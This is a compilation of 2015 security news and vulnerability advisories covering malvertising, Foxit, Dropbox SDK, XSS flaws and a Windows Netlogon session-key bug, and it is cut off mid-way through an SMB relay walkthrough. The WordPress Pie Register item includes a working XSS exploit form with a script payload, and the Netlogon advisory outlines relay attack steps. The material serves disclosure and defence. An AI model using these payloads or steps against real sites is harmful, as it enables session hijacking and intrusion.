Aerosol

Attackers are using Flash exploits and foisting ransomware through real time advertising bidding networks, FireEye researchers say. The attacks link to malicious or compromised advertising sites which participate in real time bidding systems in which ad inventory is sold to and by publishers. More than 1700 malicious advertising requests have been detected that led to malicious .swf Flash files being downloaded over hundreds of unnamed sites. "We believe this activity is part of an active malvertising operation," FireEye Labs researchers say in an advisory. "These ads can come from ad servers that are part of a legitimate ad network or rogue ad servers controlled by attackers." The attacks target a vulnerability (CVE-2014-0569) patched October last year affecting Adobe Flash and Air which was integrated quickly into exploit kits including the popular Angler. Damage to victims varied; FireEye bods say attackers foisted both the dangerous Cryptowall ransomware and what appear to be benign Windows files. Two .swf files are loaded and load the exploit then throw up an unrelated advertisement which varied across attacks. Researchers probing deeper discovered the studied advertising sites used a tool dubbed 'F**k AdBlock' designed to detect 'nasty' ad blockers across popular web browsers. URLs involved in the advertising network revealed the bid pricing, impressions, and information on operating systems and web browsers. Malvertising is a popular method for infecting web users. Last month some 1800 subdomains linked to GoDaddy accounts were found spreading the Angler exploit kit using a then Flash zero day exploit in a surreptitious malvertising campaign. Source

##################################################################################### Application: Foxit Products GIF Conversion Memory Corruption Vulnerabilities (DataSubBlock) Platforms: Windows Versions: The vulnerability is confirmed in version Foxit Reader 7.x. Other versions may also be affected. Secunia: SA63346 {PRL}: 2015-02 Author: Francis Provencher (Protek Research Lab’s) Website: http://www.protekresearchlab.com/ Twitter: @protekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== Foxit Reader is a multilingual freemium PDF tool that can create, view, edit, digitally sign, and print PDF files.[3] Early versions of Foxit Reader were notable for startup performance and small file size.[citation needed] Foxit has been compared favorably toAdobe Reader.[4][5][6] The Windows version allows annotating and saving unfinished PDF forms, FDF import/export, converting to text, highlighting and drawing. ([url]http://en.wikipedia.org/wiki/Foxit_Reader[/url]) ##################################################################################### ============================ 2) Report Timeline ============================ 2015-01-22: Francis Provencher from Protek Research Lab’s found the issue; 2015-01-28: Foxit Security Response Team confirmed the issue; 2015-01-28: Foxit fixed the issue; 2015-03-09: Foxit released fixed version of Foxit Reader 7.1/Foxit Enterprise Reader 7.1/Foxit PhantomPDF7.1. ##################################################################################### ============================ 3) Technical details ============================ An error when handling the Size member of a GIF DataSubBlock data structure can be exploited to cause memory corruption via a specially crafted GIF file. ##################################################################################### =========== 4) POC =========== [url]http://protekresearchlab.com/exploits/PRL-2015-02.gif[/url] [url]http://www.exploit-db.com/sploits/36335.gif[/url] ############################################################################### Source

Security researchers at IBM have uncovered a bug in cloud storage service provider Dropbox's software development kit (SDK) that potentially leaves millions of Android users open to attack. Researchers at IBM's X-Force Application Security Research warned that the 'DroppedIn' flaw affects many applications using the Dropbox SDK. "It allows attackers to connect applications on mobile devices to a Dropbox account they control," explained vice president of IBM Security Caleb Barlow. "This vulnerability may affect any Android app that uses the Dropbox SDK versions 1.5.4 to 1.6.1, and can be exploited locally using malware and remotely using drive-by techniques." A Dropbox spokesperson told V3 the firm issued an update fixing the flaw in December 2014 and added it could only be exploited in "very specific circumstances" on devices where the main Dropbox Android app was not installed. Barlow said despite the assurances hackers could still steal data from vulnerable systems without the patch. "The vulnerability allows attackers to execute malicious code during the log-in process that allows them to access the random number, called a 'nonce', that Dropbox uses as part of the authentication process," he said. "Once the attacker has the nonce, they can enter an access token that is also used to identify a user and then upload or download files into/from the victim's vulnerable app to the attacker's Dropbox account." He added to fully fix the problem application developers will have to install the SDK patch. "There are many apps that rely on the Dropbox SDK, including Yahoo Mail, Microsoft Office Mobile, AgileBits 1Password, and several productivity, photo editing/sharing tools," he said. "Application developers that use the Android Dropbox SDK need to upgrade their version to at least 1.6.2 or above ASAP which is where the patch for this vulnerability exists." The Dropbox spokesperson moved to allay these concerns telling V3 "most Android app developers using our SDK have updated their apps so users don't need to do anything." The news follows reports that application developers are failing to install critical security updates. Researchers at McAfee reported in February that a number of "popular" applications still do not include critical patches for the high-profile BERserk and Heartbleed Secure Sockets Layer flaws. Source

XSSYA is a python tool that attempts malicious payloads for bypassing web application firewalls. Changes: Library contains 41 payloads now to enhance detection level. Various other updates. Download

*SuperWebMailer 5.50.0.01160 XSS (Cross-site Scripting) Security Vulnerabilities* Exploit Title: SuperWebMailer /defaultnewsletter.php" HTMLForm Parameter XSS Security Vulnerabilities Product: SuperWebMailer Vendor: SuperWebMailer Vulnerable Versions: 5.*.0.* 4.*.0.* Tested Version: 5.*.0.* 4.*.0.* Advisory Publication: March 10, 2015 Latest Update: March 10, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:P/A:N) (legend) Impact Subscore: 2.9 Exploitability Subscore: 8.6 Credit: Wang Jing [Mathematics, Nanyang Technological University (NTU), Singapore] *Advisory Details:* *(1) Vendor & Product Description:* *Vendor:* SuperWebMailer *Product & Vulnerable Versions:* SuperWebMailer 5.60.0.01190 5.50.0.01160 5.40.0.01145 5.30.0.01123 5.20.0.01113 5.10.0.00982 5.05.0.00970 5.02.0.00965 5.00.0.00962 4.50.0.00930 4.40.0.00917 4.31.0.00914 4.30.0.00907 4.20.0.00892 4.10.0.00875 *Vendor URL & Download:* SuperWebMailer can be got from here, http://www.superwebmailer.de/ *Product Introduction:* "Super webmail is a web-based PHP Newsletter Software. The web-based PHP Newsletter Software Super webmail is the optimal solution for the implementation of a successful e-mail marketing." "To use the online PHP Newsletter Script is your own website / server with PHP 4 or newer, MySQL 3.23 or later and the execution of CronJobs required. Once installed, the online newsletter software Super webmail can be served directly in the browser. The PHP Newsletter Tool Super webmail can therefore be used platform-independent all operating systems such as Windows, Linux, Apple Macintosh, with Internet access worldwide. The PHP Newsletter Script allows you to manage your newsletter recipients including registration and deregistration from the newsletter mailing list by double-opt In, Double Opt-Out and automatic bounce management. Send online your personalized newsletter / e-mails in HTML and Text format with embedded images and attachments immediately in the browser or by CronJob script in the background immediately or at a later. With the integrated tracking function to monitor the success of the newsletter mailing, if thereby the openings of the newsletter and clicks on links in the newsletter graphically evaluated and presented. Put the integrated autoresponder to autorun absence messages or the receipt of e-mails to confirm." "It is now included CKEditor 4.4.7. An upgrade to the latest version is recommended as an in CKEditor 4.4.5 Vulnerability found. Super webmail from immediately contains new chart component for the statistics that do not need a flash and are therefore also represented on Apple devices. For the Newsletter tracking statistics is now an easy print version of the charts available that can be printed or saved with PDF printer driver installed in a PDF file. When viewing the e-mails in the mailing lists of the sender of the email is displayed in a column that sent the e-mail to the mailing list. For form creation for the newsletter subscription / cancellation are now available variant" *(2) Vulnerability Details:* SuperWebMailer web application has a security bug problem. It can be exploited by XSS attacks. This may allow a remote attacker to create a specially crafted request that would execute arbitrary script code in a user's browser session within the trust relationship between their browser and the server. Other bug hunter researchers have found other XSS vulnerabilities related to it before and SuperWebMailer has patched them. *(2.1) *The code programming flaw occurs at "defaultnewsletter.php" page with "&HTMLForm" parameters. *References:* http://tetraph.com/security/xss-vulnerability/superwebmailer-5-50-0-01160-xss-cross-site-scripting-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/superwebmailer-550001160-xss-cross-site.html http://www.inzeed.com/kaleidoscope/computer-web-security/superwebmailer-5-50-0-01160-xss-cross-site-scripting-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/superwebmailer-5-50-0-01160-xss-cross-site-scripting-security-vulnerabilities/ https://webtechwire.wordpress.com/2015/03/10/superwebmailer-5-50-0-01160-xss-cross-site-scripting-security-vulnerabilities/ http://static-173-79-223-25.washdc.fios.verizon.net/?l=full-disclosure&m=142551542201539&w=2 https://cxsecurity.com/issue/WLB-2015030043 -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/tetraphibious Source

[+]Title: Wordpress Pie Register Plugin 2.0.14 - XSS Vulnerability [+]Author: TUNISIAN CYBER [+]Date: 09/03/2015 [+]Type:WebApp [+]Risk:High [+]Affected Version:All [+]Overview: Pie Register 2.x suffers, from an XSS vulnerability. [+]Proof Of Concept: [PHP] global $piereg_dir_path; include_once( PIEREG_DIR_NAME."/classes/invitation_code_pagination.php"); if(isset($_POST['notice']) && $_POST['notice'] ){ echo '<div id="message" class="updated fade"><p><strong>' . $_POST['notice'] . '.</strong></p></div>'; }elseif(isset($_POST['error']) && $_POST['error'] ){ echo '<div id="error" class="error fade"><p><strong>' . $_POST['error'] . '.</strong></p></div>'; } [PHP] Exploit Code: [HTML] <head> <meta http-equiv="Content-Language" content="fr"> </head> <form action="http://ste/wp-content/plugins/pie-register/menus/PieRegInvitationCodes.php" method="POST"> <body bgcolor="#000000"> <p align="center"> <input type="text" name="notice" value='"><script>alert(/XSSeD/)</script>' <input type="submit" value="XSS"></p> <p align="center"> <font color="#FFFFFF" face="Adobe Gothic Std B">Wordpress Pie Register Plugin 2.0.14 - XSS Vulnerability</font></p> [HTML] http://i.imgur.com/L5KXmKI.png Source

*WordPress Daily Edition Theme v1.6.2 XSS (Cross-site Scripting) Security Vulnerabilities* Exploit Title: WordPress Daily Edition Theme /fiche-disque.php id Parameters XSS Security Vulnerabilities Product: WordPress Daily Edition Theme Vendor: WooThemes Vulnerable Versions: v1.6.* v1.5.* v1.4.* v1.3.* v1.2.* v1.1.* v.1.0.* Tested Version: v1.6.2 Advisory Publication: March 10, 2015 Latest Update: March 10, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:P/A:N) (legend) Impact Subscore: 2.9 Exploitability Subscore: 8.6 Credit: Wang Jing [Mathematics, Nanyang Technological University (NTU), Singapore] *Advisory Details:* *(1) Vendor & Product Description:* *Vendor:* WooThemes *Product & Vulnerable Versions:* WordPress Daily Edition Theme version 1.6.7 version 1.6.6 version 1.6.5 version 1.6.4 version 1.6.3 version 1.6.2 version 1.6.1 version 1.6 version 1.5 version 1.4.11 version 1.4.10 version 1.4.9 version 1.4.8 version 1.4.7 version 1.4.6 version 1.4.5 version 1.4.4 version 1.4.3 version 1.4.2 version 1.4.1 version 1.4.0 version 1.3.2 version 1.3.1 version 1.3 version 1.2.1 version 1.2 version 1.1.2 version 1.1.1 version 1.1 version 1.0.12 version 1.0.11 version 1.0.10 version 1.0.9 version 1.0.8 version 1.0.7 version 1.0.6 version 1.0.5 version 1.0.4 version 1.0.3 version 1.0.2 version 1.0.1 version 1.0 *Vendor URL & buy:* WordPress Daily Edition Theme can be got from here, http://www.woothemes.com/products/daily-edition/ http://dzv365zjfbd8v.cloudfront.net/changelogs/dailyedition/changelog.txt *Product Introduction:* "Daily Edition WordPress Theme developed by wootheme team and Daily Edition is a clean, spacious newspaper/magazine theme designed by Liam McKay. With loads of home page modules to enable/disable and a unique java script-based featured scroller and video player the theme oozes sophistication" "The Daily Edition theme offers users many options, controlled from the widgets area and the theme options page – it makes both the themes appearance and functions flexible. From The Daily Edition 3 option pages you can for example add your Twitter and Google analytics code, some custom CSS and footer content – and in the widgets area you find a practical ads management." "Unique Features These are some of the more unique features that you will find within the theme: A neat javascript home page featured slider, with thumbnail previews of previous/next slides on hover over the dots. A “talking points” home page that can display posts according to tags, in order of most commented to least commented. A great way to highlight posts gathering dust in the archives. A customizable home page layout with options to specify how many full width blog posts and how many “box” posts you would like to display. A javascript home page video player with thumbnail hover effect. 16 delicious colour schemes to choose from!" *(2) Vulnerability Details:* WordPress Daily Edition Theme web application has a security bug problem. It can be exploited by XSS attacks. This may allow a remote attacker to create a specially crafted request that would execute arbitrary script code in a user's browser session within the trust relationship between their browser and the server. *(2.1) *The code programming flaw occurs at "fiche-disque.php?" page with "id" parameters. *References:* http://tetraph.com/security/xss-vulnerability/wordpress-daily-edition-theme-v1-6-2-xss-cross-site-scripting-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/wordpress-daily-edition-theme-v162-xss.html http://www.inzeed.com/kaleidoscope/computer-web-security/wordpress-daily-edition-theme-v1-6-2-xss-cross-site-scripting-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/wordpress-daily-edition-theme-v1-6-2-xss-cross-site-scripting-security-vulnerabilities/ https://webtechwire.wordpress.com/2015/03/10/wordpress-daily-edition-theme-v1-6-2-xss-cross-site-scripting-security-vulnerabilities/ http://static-173-79-223-25.washdc.fios.verizon.net/?l=full-disclosure&m=142426561507008&w=2 https://cxsecurity.com/issue/WLB-2015030029 -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/tetraphibious Source

Threat Level: High Severity: High CVSS Severity score: 7.0 Impact: Complete Integrity, Confidentiality, and Availability violation. EBay Reference: #EIBBP-31480 Vulnerability: (1) Unauthenticated Cross-Site Scripting Vulnerability (1) Filtration Bypass Vendor Overview “eBay Inc. is an American multinational corporation and e-commerce company, providing consumer to consumer & business to consumer sales services via Internet. It is headquartered in San Jose, California, United States. The company manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to its auction-style sales, the website has since expanded to include "Buy It Now" shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); online classified advertisements (via Kijiji or eBay Classifieds); online event ticket trading (via StubHub); online money transfers (via PayPal) and other services. eBay was founded by Pierre Omidyar in 1995, and became a notable success story of the dot-com bubble; it is a multi-billion dollar business with operations localized in over thirty countries.” [1] [2] Description Application data utilizes in its output, user input that is not validated or properly encoded. The application is vulnerable to an unauthenticated Cross-Site Scripting attack. Vulnerabilities that permit these attacks, are widespread and persist anywhere a web application makes use of user input without any security validation controls. A malicious adversary can use this to compromise the trust of unsuspecting users, by tricking them into visiting a seemingly benign and trusted site. The malicious payload is embedded within a seemingly benign URL. This way an attacker can steal user credentials, to hijack a user’s session, to force a redirection to a heterogeneous third-party website, and thus to force a user’s browser to execute unsafe actions on behalf of the attacker. [3] [4] In this attack scenario it is noted that “Visitor -> Vendor” trust-levels are directly impacted. Read more: http://dl.packetstormsecurity.net/1503-exploits/eBay030315.pdf

1 Introduction The Dropbox SDK is a library that developers can download and add to their products. This library provides easy access to Dropbox features, such as downloading and uploading files, via a simple set of APIs. AppBrain provides statistics as to the prevalence of the use of the Dropbox SDK on Android [1]. According to these statistics, 0.31% of all applications use the Dropbox SDK. Of the top 500 apps in the Google Play Store, 1.41% use the Dropbox SDK. Interestingly, 1.32% of total app installations and 3.93% of app installations of the top 500 apps use the Dropbox SDK, respectively. While it is not a highly prevalent library, some extremely popular Android apps that may hold sensitive information use the Dropbox SDK, including Microsoft Office Mobile with over 10,000,000 downloads1 and AgileBits 1Password with over 100,000 downloads2 . The vulnerability that we discovered may affect any Android app that uses the Dropbox SDK versions 1.5.4-1.6.1. We examined 41 apps that use the Dropbox SDK for Android, out of which 31 apps (76%) were vulnerable to our attack (i.e. they used version 1.5.4-1.6.1). It’s noteworthy that the rest of the apps were vulnerable to a much simpler attack with the same consequences, but had been fixed by Dropbox with the 1.5.4 version of the SDK which they did not care to upgrade to. This paper is organized as follows. Section 2 gives a background on Inter-App Communication (IAC) in Android. Section 3 shows how IAC can be exploited in general locally by malware and remotely using driveby techniques. Section 4 describes how the Dropbox SDK for Android uses OAuth for app authorization. In 1https://play.google.com/store/apps/details?id=com.microsoft.office.officehub 2https://play.google.com/store/apps/details?id=com.agilebits.onepassword 1section 5 we deep-dive into the vulnerability we found within the Dropbox SDK for Android OAuth code. Section 6 presents a real attack, dubbed DroppedIn, that exploits the vulnerability. In section 7, we show that the threat is real by presenting case studies. We end with section 8 that presents a mitigation for the vulnerability. 2 Inter-App Communication (IAC) in Android Android applications are executed in a sandbox environment. The sandbox ensures data confidentiality and integrity as no application can access sensitive information held by another application without proper privileges. For example, Android’s stock browser application holds sensitive information such as cookies, cache and history which shouldn’t be accessed by third-party apps. The sandbox relies on several techniques including per-package Linux user-id assignment. Thus, resources, such as files, owned by one app cannot be accessed by default by other apps. While sandboxing is great for security, it may diminish interoperability as apps sometimes would like to talk to each other. Going back to the browser example, the browser would want to invoke the Google Play app when a user browsed to the Google Play website. In order to support this kind of functionality, Android provides high-level Inter-App Communication (IAC) mechanisms. This communication is usually done using special messages called Intents, which hold both the payload and the target application component. Intents can be sent explicitly, where the target application component is specified, or implicitly, where the target is left unspecified and is determined by Android according to other Intent parameters such as its URI scheme, action or category. 3 General Exploitation via Inter-App Communication The attack surface is greatly increased if the attacker can directly invoke application components, controlling the Intent’s payload. This is the case with exported application components. Such components can be attacked locally by malware. Activities, Android application components responsible for UI screens, can also be attacked remotely using drive-by exploitation techniques as shown by [2, 3]. In the local attack, illustrated by Figure 3.1, malware invokes the exported target application component with a malicious Intent (i.e. one that contains malicious data) by simply calling APIs such as Context.startActivity(Intent). In the case of remote drive-by exploitation, illustrated by Figure 3.2, a user is lured into browsing a malicious website. This site serves a web page that causes the browser to invoke the target activity with the malicious Intent. Read more: http://dl.packetstormsecurity.net/1503-exploits/exploiting-dropboxsdk-android.pdf

Core Security Technologies Advisory - The Microsoft Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other things, for user and machine authentication on domain-based networks. In a scenario where a client machine connects to a domain-joined server, a pass-through authentication must be performed in order for the server to verify the client's Credentials with the domain controller. This logon request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting the server to DC communication using a shared secret, commonly known as a server's machine account password. On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB packets, and the keys needed for encryption/decryption of SMB sessions. Improper validation between the account used to secure the communication channel and the logon request data being sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not meant for them. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Windows Pass-Through Authentication Methods Improper Validation 1. *Advisory Information* Title: Windows Pass-Through Authentication Methods Improper Validation Advisory ID: CORE-2015-0005 Advisory URL: http://www.coresecurity.com/advisories/windows-pass-through-authentication-methods-improper-validation Date published: 2015-03-10 Date of last update: 2015-03-10 Vendors contacted: Microsoft Release mode: Coordinated release 2. *Vulnerability Information* Class: Permissions, Privileges, and Access Controls [CWE-264], Improper Authentication [CWE-287] Impact: Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-0005 3. *Vulnerability Description* The Microsoft [1] Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other things, for user and machine authentication on domain-based networks. In a scenario where a client machine connects to a domain-joined server, a pass-through authentication [2] must be performed in order for the server to verify the client's Credentials with the domain controller. This logon request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting the server to DC communication using a shared secret, commonly known as a server's machine account password. On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB packets, and the keys needed for encryption/decryption of SMB sessions. Improper validation between the account used to secure the communication channel and the logon request data being sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not meant for them. At minimum this allows an attacker to: 1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists). 2) Decrypt SMB3 sniffed communications (PoC not provided). Other venues of attack should be researched. 4. *Vulnerable Packages* . Windows Server 2003 Service Pack 2 . Windows Server 2003 x64 Edition Service Pack 2 . Windows Server 2003 with SP2 for Itanium-based Systems . Windows Server 2008 for 32-bit Systems with Service Pack 2 . Windows Server 2008 for x64-based Systems with Service Pack 2 . Windows Server 2008 for Itanium-based Systems Service Pack 2 . Windows Server 2008 R2 for x64-based Systems Service Pack 1 . Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 . Windows Server 2012 . Windows Server 2012 R2 . Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) . Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) . Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) . Windows Server 2012 (Server Core installation) . Windows Server 2012 R2 (Server Core installation) Versions or editions that are not listed are either past their support life cycle or are not affected. 5. *Vendor Information, Solutions and Workarounds* Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not prone to this type of attack if SMB signing is enabled. Microsoft posted the following Security Bulletin: [21] 6. *Credits* This vulnerability was discovered and researched by Alberto Solino from the Core Engeneering Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team. 7. *Technical Description / Proof of Concept Code* Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the authentication material to the domain controller aiming at receiving a confirmation of the validity of those credentials, among with several information about the account trying to log in that allows the server machine to establish a session and serve resources to that user. In order to send and receive this information (through the NETLOGON [3] protocol), a secure channel must be established between the domain-joined server and the domain controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known as a server's machine account password. Actually, the shared secret is not based on the server's machine account password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a NTLM hashes). Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication: 1) NetrLogonSamLogonEx 2) NetrLogonSamLogonWithFlags 3) NetrLogonSamLogon 4) NetrLogonSamLogoff Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined server, using the NTLM authentication package. The domain is called 2012R2: 1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM. 2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication mechanism. 3) The NTLM 3-way handshake begins [5]. This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81. 4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC. 5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it WINDOWS81$). Using the NETLOGON protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of such call is as follows: /----- NetrLogonSamLogonWithFlags LogonServer: u'\x00' ComputerName: u'WINDOWS81\x00' Authenticator: Credential: Data: 'f\xcd\x94]&\nz\x85' Timestamp: 10 ReturnAuthenticator: Credential: Data: '\x00\x00\x00\x00\x00\x00\x00\x00' Timestamp: 0 LogonLevel: NetlogonNetworkTransitiveInformation LogonInformation: tag: 6 LogonNetworkTransitive: Identity: LogonDomainName: u'2012R2' ParameterControl: 0 Reserved: LowPart: 0 HighPart: 0 UserName: u'user3' Workstation: u'' LmChallenge: Data: '\x1a\xab8\xa4.E\x98\xe3' NtChallengeResponse: '\xd9\x94"\xd1C\xd9CT\xa3\x12\xac(\x97\xb2=\xd4\x01\x01\x00\x00\x00\x00\x00\x00N\x8b\xb3N\x1f\xc6\xcf \x01?9N\x1a\xe1\x1f\xfa-\x00\x00\x00\x00\x02\x00\x0c\x002\x000\x001\x002\x00R\x002\x00\x01\x00\x12\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001 \x00\x04\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x03\x00.\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001\x00. \x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x05\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N \x00\x07\x00\x08\x00N\x8b\xb3N\x1f\xc6\xcf\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00 \x00 \x00\xac>qS+\x9a\xb9x\xbe\xa0\xec\xaa\x89475J\xea\xe1x\x83\xe6A]\xdf\x84%ky})\xe5\n\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\t\x00&\x00c\x00i\x00f\x00s\x00/\x001\x009\x002\x00.\x001\x006\x008\x00.\x006\x006\x00.\x002\x004\x003\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00' LmChallengeResponse: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ValidationLevel: NetlogonValidationSamInfo4 ExtraFlags: 0 -----/ 6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials are valid. NetrLogonSamLogonWithFlags() returns STATUS_SUCCESS if so, otherwise it return an error. 7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end up being one of the following structures: a. NETLOGON_VALIDATION_SAM_INFO [6] b. NETLOGON_VALIDATION_SAM_INFO2 [7] c. NETLOGON_VALIDATION_SAM_INFO4 [8] The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3. An example of the data returned by NetrLogonSamLogonWithFlags() is shown below: /----- NetrLogonSamLogonWithFlagsResponse ReturnAuthenticator: Credential: Data: '[\\\x85\xf2\x84@~\x17' Timestamp: 0 ValidationInformation: tag: 6 ValidationSam4: LogonTime: LowPart: 4069189522 HighPart: 30393876 LogoffTime: LowPart: 4294967295 HighPart: 2147483647 KickOffTime: LowPart: 4294967295 HighPart: 2147483647 PasswordLastSet: LowPart: 738500373 HighPart: 30393272 PasswordCanChange: LowPart: 1450073877 HighPart: 30393473 PasswordMustChange: LowPart: 4294967295 HighPart: 2147483647 EffectiveName: u'user3' FullName: NULL LogonScript: NULL ProfilePath: NULL HomeDirectory: NULL HomeDirectoryDrive: NULL LogonCount: 5 BadPasswordCount: 0 UserId: 1113 PrimaryGroupId: 513 GroupCount: 2 GroupIds: [ RelativeId: 512 Attributes: 7 , RelativeId: 513 Attributes: 7 , ] UserFlags: 2336 UserSessionKey: Data: '\xb1\x8eg\x91\xfdK\x9d\xd0\x12\x8b\x9f\x9e\x8e\x19\xe9"' LogonServer: u'2012R2DOMAIN-DC' LogonDomainName: u'2012R2' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 1456083388, 2901136423, 1501488623, ] LMKey: '\xb1\x8eg\x91\xfdK\x9d\xd0' UserAccountControl: 528 SubAuthStatus: 0 LastSuccessfulILogon: LowPart: 0 HighPart: 0 LastFailedILogon: LowPart: 0 HighPart: 0 FailedILogonCount: 0 Reserved4: 0 SidCount: 1 ExtraSids: [ Sid: Revision: 1 SubAuthorityCount: 5 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 1456083388, 2901136423, 1501488623, 572, ] Attributes: 536870919 , ] DnsLogonDomainName: u'2012R2.DOMAIN' Upn: u'user3@2012R2.DOMAIN' ExpansionString1: NULL ExpansionString2: NULL ExpansionString3: NULL ExpansionString4: NULL ExpansionString5: NULL ExpansionString6: NULL ExpansionString7: NULL ExpansionString8: NULL ExpansionString9: NULL ExpansionString10: NULL Authoritative: 1 ExtraFlags: 0 ErrorCode: 0 -----/ As can be seen, there's a field called UserSessionKey. According to [9]: The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections 2.2.1.4.5 and 2.2.1.4.13). The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching account is found, an error STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.' This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine. Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller returning this data, since WINDOWS81 doesn't have the user's credentials. The SessionBaseKey is used, at least, to calculate the SMB Signing [10] and Encryption [11] keys. Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials. Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and the machine account that established the NETLOGON session should be the same (except for the '$' sign). What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the authentication information being sent, was actually meant to the domain-joined machine that is requesting this operation (e.g. NetrLogonSamLogonWithFlags()). What this means is that any domain-joined machine can verify any pass-through authentication against the domain controller, and to get the base key for cryptographic operations for any session within the domain. As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain. SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker that manages to sit in the middle between a victim and a target server to impersonate the victim against the target server. One of the mitigations mentioned on several papers is the implementation of SMB Signing [14][15], since, in order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1). To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact with the domain controller through NETLOGON. Getting a machine account credential is not a complicated task if an attacker has either: 1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts [16]). 2) A normal domain user (so it can perform a fake domain join). The high level flow would be as follows: Assumptions: 1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes). 2) We know the DC IP address or FQDN (called DC-MACHINE). 3) We targeted a victim user (called USER-A), tricking him into connecting to our machine (ATTACKER-MACHINE) with his domain credentials. 4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE). 5) This domain environment enforces SMB Signing. The packet's flow would be like this: 1) USER-A connects to 